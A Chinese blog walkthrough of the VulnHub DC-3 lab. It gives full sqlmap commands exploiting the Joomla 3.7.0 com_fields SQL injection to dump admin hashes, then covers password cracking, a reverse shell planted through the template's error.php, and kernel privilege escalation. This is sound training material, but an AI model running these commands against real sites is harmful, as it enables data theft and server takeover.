VulnHub 靶机学习No.4 DC-3

VulnHub 靶机学习No.4 DC-3

靶机运行说明

• 靶机难度：初级
• 攻击机：kali linux，ip地址：192.168.56.102
• 靶机：DC-3，IP地址：192.168.56.106
• 目标：找到终极flag

信息收集

仅开启kali和DC-3靶机，使用nmap扫描kali所在C段，确认192.168.56.106为靶机的ip

进行全端口扫描，发现其仅开放80端口的http服务

使用whatweb 来进行web的信息收集，发现使用的joomla

对症下药，joomscan(kali自带)走你

joomscan --url http://192.168.56.106

发现joomla版本为3.7.0，4个可以列目录的链接，以及管理员登录页。

有了版本，就可以使用searchsploit 命令在exploit-db，查找是否有漏洞以及利用脚本，成功找到一个sql注入漏洞。


这文件是真的良心，把漏洞链接，sqlmap具体命令都给我们了。可以看到使用的是mysql数据库，存在的sql注入类型是布尔盲注、报错注入和基于时间的盲注。

（为了效率）由于知道数据库是mysql的，所以在文档推荐的sqlmap命令后面添加了 --dbms=mysql；由于sqlmap默认是从联合注入开始跑的（因为联合注入跑数据最快），而joomla没有联合注入，所以限定成布尔盲注和报错注入吧，添加–technique=BE，于是得到下面的命令：

sqlmap -u "192.168.56.106/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] --dbms=mysql --technique=BE

跑出了5个库

查看当前数据库：

sqlmap -u "192.168.56.106/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --current-db -p list[fullordering] --dbms=mysql --technique=BE

得知当前数据库为 joomladb

爆表

sqlmap -u "192.168.56.106/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --tables -D "joomladb" -p list[fullordering] --dbms=mysql --technique=BE

一共跑出76个表 （admin账号在 #__users 表）

爆列

sqlmap -u "192.168.56.106/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --columns -T "#__users" -D "joomladb" -p list[fullordering] --dbms=mysql --technique=BE

ps：这里爆列时需要枚举列，输入 y


当然看username 和 password 列

sqlmap -u "192.168.56.106/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dump -C "username,password" -T "#__users" -D "joomladb" -p list[fullordering] --dbms=mysql --technique=BE

成功拿到密码hash

然后我卡了很久，看了别人的wp，才知道使用 john 来爆破。由于已经爆破过，所以这时候无法爆破了，只能显示爆破结果：snoopy

使用 admin/snoopy 在后台登录页（ /administrator ）成功登录。
这时拿 shell 和 wordpress 后台常规拿shell类似
（虽然wordpress 还有更方便的 wp_admin_shell_upload）

这两个模板任选其一就行（我选择protostar）

把 error.php 的内容用反弹 shell 的php代码进行替换，然后点击上方的 Save&Close （当然，也可以新建一个php文件）

这个 error.php 的访问路径：
http://192.168.56.106/templates/protostar/error.php
kali 开启4444端口监听，然后访问上述链接，成功弹 shell

提权

这次的提权使用的是linux内核提权，一共尝试了10个左右的exp，只成功了一个，但是也学到了一些东西

通过 uname -a 得知内核版本为 4.4.0-21
通过 lsb_release -a 得知发性版本为 Ubuntu 16.04

利用内核版本搜索利用脚本

先揭晓答案，最后可以利用的是39722.txt。这个文档里面有具体的提权步骤，我这时就不实操了（白天尝试了10来个exp）。
坑：
如果你使用的搜索语句是

searchsploit linux 4.4.0

恭喜你，你将会成功的避开这个可以起到效果的exp（别问我怎么知道的），它前面的描述是 4.4.x

一个小建议：
eg：如果你想要尝试44298.c这个exp，怎么用呢？

有些情况，并不是使用这个文件就行，建议cat 下这个文件，看看注释（注释中可能会有具体的用法，也可能需要你去下载一个压缩包，里面有提权过程中需要的多个文件）。44298.c 对应的网页就是：https://www.exploit-db.com/exploits/44298

知识点总结

• sqlmap 各个参数的使用（太久没用，忘了）
• john的使用
• joomla cms 后台getshell
• linux 内核提权，还得继续学习 searchsploit 的使用（如何搜索得更准确，如何过滤，如何让title显示全？）

参考链接：

https://www.jianshu.com/p/76451380b129
https://www.cnblogs.com/This-is-Y/p/13308122.html